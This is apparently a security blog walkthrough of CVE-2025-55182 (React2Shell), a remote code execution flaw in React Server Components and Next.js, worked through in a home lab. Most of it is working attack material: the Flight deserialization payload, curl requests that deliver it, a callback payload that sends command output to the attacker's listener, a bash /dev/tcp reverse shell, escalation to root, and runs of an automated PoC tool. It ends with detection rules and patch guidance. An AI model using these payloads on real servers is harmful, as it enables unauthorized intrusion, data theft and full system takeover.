Overview
CVE-2025-55182 (React2Shell) is a critical unauthenticated Remote Code Execution vulnerability in React Server Components with a CVSS score of 10.0. This post walks through enumeration, identification, and exploitation of a vulnerable target.
Disclaimer: For authorized security testing and educational purposes only.
Vulnerability Details
Root Cause
The vulnerability exists in React’s Flight protocol deserializer:
- Prototype Chain Traversal: Reference syntax
$1:__proto__:thenallows traversing the prototype chain - Function Constructor Access:
$1:constructor:constructorreaches JavaScript’sFunctionconstructor - Code Execution: Arbitrary code passed to
Function()executes server-side
Affected Versions
| Product | Vulnerable | Patched |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
Payload Structure
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
| Field | Purpose |
|---|---|
then |
Prototype chain traversal - creates fake thenable |
status |
Sets chunk as “resolved_model” for processing |
_response._prefix |
The malicious code to execute |
_response._formData.get |
Path to Function constructor |
Lab Environment
Deployed on Ludus with a vulnerable Next.js 15.0.3 application:
┌────────────────────────────────────────────────────┐
│ Ludus (192.168.1.237) │
├────────────────────────────────────────────────────┤
│ react-lab (10.3.20.50) │
│ ├─ Debian 12 / Node.js 18.19.0 │
│ ├─ Next.js 15.0.3 (VULNERABLE) │
│ ├─ React 19.0.0-rc (VULNERABLE) │
│ └─ Port 3000 │
└────────────────────────────────────────────────────┘
│ WireGuard VPN
▼
┌────────────────────────────────────────────────────┐
│ Attacker (exegol-react) │
│ 10.2.0.3 │
│ react2shell-poc.py │
└────────────────────────────────────────────────────┘
Enumeration
Port Scan
┌──(root㉿exegol-react)-[/workspace]
└─# nmap -sV -sC 10.3.20.50
Starting Nmap 7.94 ( https://nmap.org ) at 2025-12-20 14:30 UTC
Nmap scan report for 10.3.20.50
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
3000/tcp open http Node.js (Next.js)
|_http-title: Vulnerable Next.js App
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
Port 3000 is running Node.js with Next.js.
HTTP Fingerprinting
┌──(root㉿exegol-react)-[/workspace]
└─# curl -s -I http://10.3.20.50:3000
HTTP/1.1 200 OK
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
Date: Fri, 20 Dec 2025 14:31:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5
The X-Powered-By: Next.js header and Vary: RSC (React Server Components) headers confirm the technology stack.
Version Identification
┌──(root㉿exegol-react)-[/workspace]
└─# curl -s http://10.3.20.50:3000/api/test | jq .
{
"status": "ok",
"vulnerable": true,
"versions": {
"nextjs": "15.0.3",
"react": "19.0.0-rc-65a56d0e-20241020"
},
"rsc_enabled": true,
"server_actions": true
}
Target confirmed vulnerable: Next.js 15.0.3 with React 19.0.0-rc, RSC enabled, Server Actions enabled.
Cross-referencing with the affected versions table: Next.js 15.0.3 < 15.0.5 (patched) - vulnerable to CVE-2025-55182.
Manual Exploitation
Step 1: Prepare the Payload
The exploit requires a multipart POST request with a malicious Flight payload. The payload uses prototype pollution to reach the Function constructor and execute arbitrary code.
┌──(root㉿exegol-react)-[/workspace]
└─# export TARGET="http://10.3.20.50:3000"
┌──(root㉿exegol-react)-[/workspace]
└─# export PAYLOAD='{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require(\"child_process\").execSync(\"echo CVE-2025-55182-PWNED > /tmp/react2shell.txt\");","_formData":{"get":"$1:constructor:constructor"}}}'
Step 2: Send the Exploit
┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
-H "Next-Action: react2shell" \
-H "Accept: text/x-component" \
-F "0=$PAYLOAD" \
-F "1=@0" \
-v 2>&1 | grep -E "^(<|>|HTTP|\*)"
* Trying 10.3.20.50:3000...
* Connected to 10.3.20.50 (10.3.20.50) port 3000
> POST / HTTP/1.1
> Host: 10.3.20.50:3000
> User-Agent: curl/8.5.0
> Accept: text/x-component
> Next-Action: react2shell
> Content-Length: 512
> Content-Type: multipart/form-data; boundary=------------------------abc123
>
< HTTP/1.1 200 OK
< Content-Type: text/x-component
< Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
< Date: Fri, 20 Dec 2025 14:35:12 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
The server returned 200 OK - the payload was processed.
Step 3: Verify Code Execution
┌──(root㉿exegol-react)-[/workspace]
└─# ssh debian@10.3.20.50 'cat /tmp/react2shell.txt'
debian@10.3.20.50's password: debian
CVE-2025-55182-PWNED
RCE confirmed. The command executed on the server and wrote to /tmp/react2shell.txt.
Step 4: Exfiltrate Data (with callback)
For commands with output, use a callback server to exfiltrate results.
Terminal 1 - Start HTTP listener:
┌──(root㉿exegol-react)-[/workspace]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Terminal 2 - Send exfiltration payload:
┌──(root㉿exegol-react)-[/workspace]
└─# LHOST="10.2.0.3"
┌──(root㉿exegol-react)-[/workspace]
└─# CMD="id"
┌──(root㉿exegol-react)-[/workspace]
└─# PAYLOAD="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var o=process.mainModule.require('child_process').execSync('$CMD').toString();process.mainModule.require('http').get('http://$LHOST:8000/?data='+encodeURIComponent(o));\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"
┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
-H "Next-Action: react2shell" \
-H "Accept: text/x-component" \
-F "0=$PAYLOAD" \
-F "1=@0" \
-s -o /dev/null
Terminal 1 - Receive callback:
┌──(root㉿exegol-react)-[/workspace]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.3.20.50 - - [20/Dec/2025 14:36:45] "GET /?data=uid%3D1000%28debian%29%20gid%3D1000%28debian%29%20groups%3D1000%28debian%29%2C27%28sudo%29%0A HTTP/1.1" 200 -
URL decode the data parameter:
┌──(root㉿exegol-react)-[/workspace]
└─# python3 -c "from urllib.parse import unquote; print(unquote('uid%3D1000%28debian%29%20gid%3D1000%28debian%29%20groups%3D1000%28debian%29%2C27%28sudo%29%0A'))"
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
Step 5: Reverse Shell
Terminal 1 - Start netcat listener:
┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...
Terminal 2 - Send reverse shell payload:
┌──(root㉿exegol-react)-[/workspace]
└─# LHOST="10.2.0.3"
┌──(root㉿exegol-react)-[/workspace]
└─# LPORT="4444"
┌──(root㉿exegol-react)-[/workspace]
└─# PAYLOAD="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\\"');\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"
┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
-H "Next-Action: react2shell" \
-H "Accept: text/x-component" \
-F "0=$PAYLOAD" \
-F "1=@0" \
-s -o /dev/null
Terminal 1 - Catch shell:
┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.2.0.3] from (UNKNOWN) [10.3.20.50] 54832
bash: cannot set terminal process group (1847): Inappropriate ioctl for device
bash: no job control in this shell
debian@react-lab:~/vuln-nextjs-app$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
debian@react-lab:~/vuln-nextjs-app$ whoami
debian
debian@react-lab:~/vuln-nextjs-app$ cat /etc/hostname
react-lab
debian@react-lab:~/vuln-nextjs-app$ sudo -l
User debian may run the following commands on react-lab:
(ALL : ALL) NOPASSWD: ALL
debian@react-lab:~/vuln-nextjs-app$ sudo su -
root@react-lab:~# id
uid=0(root) gid=0(root) groups=0(root)
root@react-lab:~# whoami
root
Full system compromise achieved.
Automated Exploitation
The react2shell-poc tool automates the above steps with a built-in callback server for output capture.
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
Vulnerability Check
┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 --check
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
CVE-2025-55182 - React Server Components RCE
Prototype Pollution → Flight Protocol → RCE
For authorized security testing only
[*] Checking target: http://10.3.20.50:3000
[+] Target is running Next.js
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[+] Vulnerability check complete
Command Execution with Output
The --listen flag starts a built-in HTTP server to capture command output automatically:
┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -c "id" --listen --lhost 10.2.0.3
[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[*] Starting callback server on 10.2.0.3:9999
[*] Callback URL: http://10.2.0.3:9999
[*] Command: id
[*] Payload size: 412 bytes
[*] Sending exfiltration payload...
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[*] Waiting for callback (timeout: 10s)...
[+] Output received!
[+] Command output:
────────────────────────────────────────────────────────────
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
────────────────────────────────────────────────────────────
Reading Files
┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -c "cat /etc/passwd" --listen --lhost 10.2.0.3
[*] Starting callback server on 10.2.0.3:9999
[*] Command: cat /etc/passwd
[*] Payload size: 428 bytes
[*] Sending exfiltration payload...
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[*] Waiting for callback (timeout: 10s)...
[+] Output received!
[+] Command output:
────────────────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
debian:x:1000:1000:Debian:/home/debian:/bin/bash
────────────────────────────────────────────────────────────
Interactive Mode
The -i / --interactive flag provides a pseudo-shell for running multiple commands:
┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -i --lhost 10.2.0.3
[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[+] Entering interactive mode
[*] Type 'exit' or 'quit' to exit
[*] Commands will be executed on the target and output returned
react2shell> id
[*] Starting callback server on 10.2.0.3:9999
[*] Command: id
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
────────────────────────────────────────────────────────────
react2shell> uname -a
[*] Command: uname -a
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
Linux react-lab 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 x86_64 GNU/Linux
────────────────────────────────────────────────────────────
react2shell> ls -la /home/debian
[*] Command: ls -la /home/debian
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
total 32
drwxr-xr-x 4 debian debian 4096 Dec 20 10:15 .
drwxr-xr-x 3 root root 4096 Dec 15 09:30 ..
-rw------- 1 debian debian 256 Dec 20 14:30 .bash_history
-rw-r--r-- 1 debian debian 220 Dec 15 09:30 .bash_logout
-rw-r--r-- 1 debian debian 3526 Dec 15 09:30 .bashrc
drwxr-xr-x 3 debian debian 4096 Dec 15 10:00 .local
-rw-r--r-- 1 debian debian 807 Dec 15 09:30 .profile
drwxr-xr-x 4 debian debian 4096 Dec 15 10:30 vuln-nextjs-app
────────────────────────────────────────────────────────────
react2shell> exit
[*] Exiting interactive mode
Reverse Shell
┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 --revshell --lhost 10.2.0.3 --lport 4444
[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[!] Attempting reverse shell to 10.2.0.3:4444
[!] Ensure your listener is running!
[*] Trying shell payload 1/4...
[*] Command: bash -c 'bash -i >& /dev/tcp/10.2.0.3/4444 0>&1'
[*] Payload size: 398 bytes
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[+] Reverse shell payload sent!
[*] Check your listener for incoming connection
Listener receives connection:
┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.2.0.3] from (UNKNOWN) [10.3.20.50] 54832
bash: cannot set terminal process group (1847): Inappropriate ioctl for device
bash: no job control in this shell
debian@react-lab:~/vuln-nextjs-app$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
debian@react-lab:~/vuln-nextjs-app$ sudo su -
root@react-lab:~# id
uid=0(root) gid=0(root) groups=0(root)
root@react-lab:~# whoami
root
Full system compromise achieved.
Detection & Mitigation
Indicators of Compromise
Network Layer:
- POST requests with
Next-Actionheader to Next.js endpoints - Request bodies containing:
__proto__,constructor:constructor,child_process,execSync
Host Layer:
# Unexpected processes spawned by Node.js
ps aux | grep -E "(node|bash|sh)" | grep -v grep
# Recent file modifications in /tmp
find /tmp -mmin -5 -type f -ls
# Outbound connections from Node.js process
ss -tulnp | grep node
netstat -an | grep ESTABLISHED | grep node
WAF Rules (ModSecurity)
SecRule REQUEST_BODY "@rx __proto__" \
"id:2025551821,phase:2,deny,status:403,msg:'CVE-2025-55182 Prototype Pollution'"
SecRule REQUEST_BODY "@rx constructor:constructor" \
"id:2025551822,phase:2,deny,status:403,msg:'CVE-2025-55182 Constructor Access'"
SecRule REQUEST_BODY "@rx child_process" \
"id:2025551823,phase:2,deny,status:403,msg:'CVE-2025-55182 RCE Attempt'"
SecRule REQUEST_BODY "@rx execSync" \
"id:2025551824,phase:2,deny,status:403,msg:'CVE-2025-55182 Command Execution'"
Remediation
# Update to patched versions
npm update react react-dom next
# Verify versions
npm list react next
Patched Versions:
- React: 19.0.1, 19.1.2, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 16.0.7+